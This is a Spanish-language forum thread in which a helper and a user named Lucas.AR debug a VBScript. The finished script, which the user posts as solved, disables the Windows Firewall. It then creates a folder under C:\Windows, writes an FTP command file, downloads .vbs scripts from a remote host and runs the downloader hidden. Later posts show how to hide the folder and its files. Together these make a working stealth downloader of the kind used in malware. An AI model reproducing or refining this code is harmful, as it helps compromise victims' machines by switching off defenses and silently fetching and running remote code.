Hace mucho que no trabajo con estos scripts. A VBS nunca lo vi en profundidad y los scripts Batch hace años que no lo uso. Pero me puse a ver lo que había hecho y a tratar de hacer memoria para ver si te puedo ayudar.
Según estuve viendo
aquí, básicamente sería, en primer lugar, un archivo que se ha llamado
dfshell.dll que contiene los comandos necesarios para que FTP de Windows los use y pueda conectar y hacer lo que quieras en el servidor de FTP. Y, en segundo lugar, se ejecuta el FTP indicando que los comandos necesarios para trabajar están en ese archivo.
Siguiendo tu código, creo que te falta algo importante, el comando
OPEN antes de escribir la dirección del hosting FTP:
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("C:\windows\diana\script-ftp.dll",true)
archivotexto.writeline "open"
archivotexto.writeline "ftp.xxxxx.org"
archivotexto.writeline "xxxxxxxxxxxxx"
archivotexto.writeline "xxxxxxxxxxx"
archivotexto.writeline "binary"
archivotexto.writeline "cd /public_html"
archivotexto.writeline "lcd C:\WINDOWS\diana"
archivotexto.writeline "get varios.vbs"
archivotexto.writeline "get borrar.vbs"
archivotexto.writeline "bye"
archivotexto.close
Después, en esta parte:
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile
("C:\windows\diana\descarga.cmd",true)
archivotexto.writeline "@echo off"
archivotexto.writeline "ftp -s:C:\WINDOWS\diana\script-ftp.dll
ftp.260mb.org"
archivotexto.writeline "bye"
archivotexto.close
Creo que no hace falta que escribas:
Solo bastaría conque hagas lo siguiente:
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("C:\windows\diana\descarga.cmd",true)
archivotexto.writeline "@echo off"
archivotexto.writeline "ftp -s:C:\WINDOWS\diana\script-ftp.dll"
archivotexto.close
Y ahora sí solo debes ejecutar el script batch que creas, me refiero a
descarga.cmd como lo haces en tu código.
Saludos, y espero que ésta sea la solución, si no, volvé y hacé de nuevo la consulta. Jeje.
Lucas.AR:
Gracias por contestar, hare las correcciones que mencionas y probare.
Te comento resultados en un momento, gracias.
Lucas.AR:
Ya hice las modificaciones, pero me sigue descargando los archivos vacios.
Estarias de acuerdo en que te pase los datos de conexion por privado para que veas los resultados? Bueno si tienes tiempo Gracias.
Se me ocurre que por algun motivo el hosting me tenga bloqueado, podrias probar el script en algun hosting?? Gracias.Lucas.AR:
Solucionado, el codigo quedo asi:
Set fw = CreateObject("HNetCfg.FwMgr")
Set policy = fw.LocalPolicy.CurrentProfile
policy.FirewallEnabled = FALSE
Set PV2 = CreateObject("Scripting.FileSystemObject")
PV2.createfolder "C:\Windows\diana"
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("C:\windows\diana\script-ftp.dll",true)
archivotexto.writeline "open xx.xxx.xxx.xx"
archivotexto.writeline "xxxxxxxx"
archivotexto.writeline "xxxxxxx"
archivotexto.writeline "binary"
archivotexto.writeline "cd /"
archivotexto.writeline "lcd C:\WINDOWS\diana"
'archivotexto.writeline "get PRUEBA.exe"
archivotexto.writeline "get varios.vbs"
archivotexto.writeline "bye"
archivotexto.close
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("C:\windows\diana\descarga.cmd",true)
archivotexto.writeline "@echo off"
archivotexto.writeline "ftp -s:C:\WINDOWS\diana\script-ftp.dll"
archivotexto.close
set cmd = createobject("wscript.shell")
set shell = CreateObject("Scripting.FileSystemObject")
cmd.run "C:\WINDOWS\diana\descarga.cmd", vbHideAprovechando, otra molestia.
He tratado de aplicar atributos a carpetas y archivos mediante vbs pero no lo he logrado.
Trate con este codigo pero no me funciona
Set objfso = createobject("scripting.filesystemobject")
Set archivo = objfso.getfile("C:\tutorial.pdf") 'obtenemos el control sobre el archivo pdf
archivo.attributes = 34 'attributo dearchivo y oculto
Gracias por tu orientacion, saludos.
Lucas.AR:
Solucionado, para ocultar carpeta y archivo en vbs, los codigos son:
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder("C:\WINDOWS\diana")
If objFolder.Attributes = objFolder.Attributes AND 2 Then
objFolder.Attributes = objFolder.Attributes XOR 2
End If
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.GetFile("C:\WINDOWS\archivo.zip")
If objFile.Attributes = objFile.Attributes AND 2 Then
objFile.Attributes = objFile.Attributes XOR 2
End If
Saludos